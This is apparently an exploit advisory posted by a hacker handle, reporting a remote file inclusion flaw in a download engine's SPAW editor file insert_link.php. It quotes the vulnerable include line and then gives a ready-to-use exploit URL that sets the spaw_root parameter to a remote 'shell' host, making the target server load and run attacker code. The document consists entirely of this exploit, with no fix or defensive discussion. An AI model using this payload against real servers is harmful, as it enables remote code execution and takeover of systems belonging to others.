VENDOR :http://www.alexscriptengine.com/ 
BY : s3rv3r_hack3r (hackerz.ir admin)
bug:
download_engine/admin/includes/spaw/dialogs/insert_link.php include $spaw_root.'class/lang.class.php';
Exloit: 
http://victim/admin/includes/spaw/dialogs/insert_link.php?spaw_root=http://shell